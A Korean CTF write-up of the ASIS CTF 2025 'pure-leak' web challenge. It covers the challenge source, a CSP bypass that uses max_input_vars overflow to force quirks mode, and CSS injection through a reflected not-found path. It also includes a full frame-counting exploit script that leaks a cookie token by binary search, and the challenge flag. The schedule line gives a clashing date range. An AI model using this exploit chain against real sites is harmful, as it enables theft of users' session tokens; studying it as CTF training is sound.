ASIS CTF 2025 Quals (Upsolve)
ASIS CTF 2025 Quals (Upsolve)
대회 일정
2025-09-06 23:00 ~ 2024-09-07 23:00
대회 후기
Writeup
under-the-beamers-revenge
0 solves / 500 pts
작성 예정
pure-leak
2 solves / 450 pts
index.php
<?php
function validate(mixed $input): string {
if (!is_string($input)) return "Invalid types";
if (strlen($input) > 1024) return "Too long";
if (preg_match('/[^\x20-\x7E\r\n]/', $input)) return "Invalid characters";
if (preg_match('*http|data|\\\\|\*|\[|\]|&|%|@|//*i', $input)) return "Invalid keywords";
return $input;
}
?>
<!DOCTYPE html>
<html>
<body>
<h1>pure-leak 🫨</h1>
<h3>Source</h3>
<pre><?php echo htmlspecialchars(file_get_contents(__FILE__)); ?></pre>
<h3>Content</h3>
<?php echo validate($_GET["content"] ?? "")."\n"; ?>
<h3>Token</h3>
<?php echo htmlspecialchars($_COOKIE["TOKEN"] ?? "TOKEN_0123456789abcdef"); ?>
<h3>Usage</h3>
<a href="/?content=your_input">/?content=your_input</a>
</body>
</html>
entrypoint.sh
#!/bin/sh
set -eu
# load balancing
php -S 127.0.0.1:9000 &
php -S 127.0.0.1:9001 &
php -S 127.0.0.1:9002 &
php -S 127.0.0.1:9003 &
cat > /tmp/Caddyfile << EOF
:3000 {
header {
defer
Content-Security-Policy "script-src 'none'; default-src 'self'; base-uri 'none'"
}
reverse_proxy 127.0.0.1:9000 127.0.0.1:9001 127.0.0.1:9002 127.0.0.1:9003 {
replace_status 200
}
}
EOF
exec caddy run --config /tmp/Caddyfile
index.php
, entrypoint.sh
파일을 살펴보면, content
파라미터에 다음과 같은 검증 요소가 존재합니다.
- 변수 타입:
string
- 문자열 길이 제한:
1024
- 허용된 문자:
[\x20-\x7e\r\n]
- 허용하지 않는 문자:
http
,data
,\
,*
,[
,]
,&
,%
,@
,//
추가적으로, CSP 정책이 다음과 같이 걸려있습니다.
script-src 'none'; default-src 'self'; base-uri 'none'
<link href="..." rel="stylesheet">
코드의 경우, 응답의 Content-Type
헤더 값이 text/css
인 경우에만 로드가 가능합니다.
다만, same-origin
에 text/css
를 반환하는 페이지가 존재하지 않습니다. 즉, default-src 'self'
CSP 정책에 의해 CSS Injection이 불가능합니다.
하지만, quirks
모드에서 same-origin
을 위한 MIME
타입 검증을 완화합니다.
index.php 파일을 살펴보면, <!DOCTYPE html>
구문에 의해 "CSS1Compat"
로 설정되어 있는 것을 확인할 수 있습니다. CSS1Compat
설정 값은 no-quirks
모드를 의미합니다.
PHP의 파라미터 개수 제한(max_input_vars (default: 1000)
)에 대한 기본 설정은 이와 같습니다.
http://localhost:3000/?a&a&a&a&a&a&a&a&a&a&a&...<1001 parameters>...
만약 지정된 파라미터 개수를 초과하게될 경우, 이미 본문 내용이 사용자에게 전달되어 header()
에 설정된 CSP 정책이 적용되지 않습니다.
서비스의 경우, Caddy
설정 파일에 CSP 정책이 설정되어 있어 CSP 정책을 무력화할 수 없습니다. 다만, 파라미터 개수 제한 초과로 인해 <!DOCTYPE html>
이 전달되기 전에 경고가 발생하여 quirks
모드로 변경이 가능합니다.
const content = `
<link href="/index.php?content={}body{background:limegreen}" rel=stylesheet>
`;
location = `http://localhost:3000?content=${
encodeURIComponent(content)
}${"&a".repeat(1000)}`;
content
파라미터에 CSS Injection
구문을 요청할 경우, /*
문자에 의해 입력한 값이 주석 처리되는 것을 확인할 수 있습니다.
존재하지 않는 페이지 요청 시, 요청 경로, 파라미터가 페이지에 반영되는 것을 활용한다면, CSS Injection
을 수행할 수 있습니다.
const content = `
<link href="/not-found.txt?{}body{background:limegreen}" rel=stylesheet>
`;
location = `http://localhost:3000?content=${
encodeURIComponent(content)
}${"&a".repeat(1000)}`;
CSS Injection
에 의해 배경색이 변경된 것을 확인할 수 있습니다.
다음으로, 토큰 탈취를 위해 토큰 값 검증을 수행해야 합니다.
다만, [
,]
문자 필터링에 의해 input[value^="TOKEN_012"]
형태의 CSS 코드를 삽입할 수 없습니다.
<input>
태그 내 pattern
속성을 사용한다면, 토큰 검증이 가능합니다.
const pattern = "TOKEN_012";
const content = `
<link href="/not-found.txt?{}div:has(input:valid){display:none}" rel=stylesheet>
<div>
<embed code="x" type=text/html>
<input pattern=".+${pattern}.+" value="
`;
location = `http://localhost:3000?content=${
encodeURIComponent(content)
}${"&a".repeat(1000)}`;
default-src 'self'
CSP 정책에 의해 외부 도메인으로 요청을 보낼 수 없습니다. 대신, Frame Counting
기법을 사용하면, 프레임 개수에 따라 토큰 일치 여부를 확인할 수 있습니다.
Exploit Code
@arkark 님이 작성한 코드입니다.
<body>
<script type="module">
const BASE_URL = "http://web:3000";
const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
const TOKEN_SIZE = 16;
let known = "TOKEN_";
const win = open("");
const CHARS = [..."0123456789abcdef"];
const match = async (pattern) => {
win.location = "about:blank";
while (true) {
try {
win.origin;
break;
} catch {
await sleep(3);
}
}
const content = `
<link href="/not-found.txt?{}div:has(input:valid){display:none}" rel=stylesheet>
<div>
<embed code="x" type=text/html>
<input pattern=".+${pattern}.+" value="
`;
const url = `${BASE_URL}?content=${encodeURIComponent(
content
)}${"&a".repeat(1000)}`;
win.location = url;
while (true) {
try {
win.origin;
await sleep(3);
} catch {
break;
}
}
await sleep(100);
return win.length === 0; // frame counting
};
for (let i = 0; i < TOKEN_SIZE; i++) {
let left = 0;
let right = CHARS.length;
while (right - left > 1) {
const mid = (right + left) >> 1;
const p = "(" + CHARS.slice(left, mid).join("|") + ")";
if (await match(known + p)) {
right = mid;
} else {
left = mid;
}
}
known += CHARS[right - 1];
fetch("/?debug=" + encodeURIComponent(known));
}
fetch("/?token=" + encodeURIComponent(known));
</script>
</body>
Token Leak
Flag
ASIS{silksooooooong_9_4_y4y!!}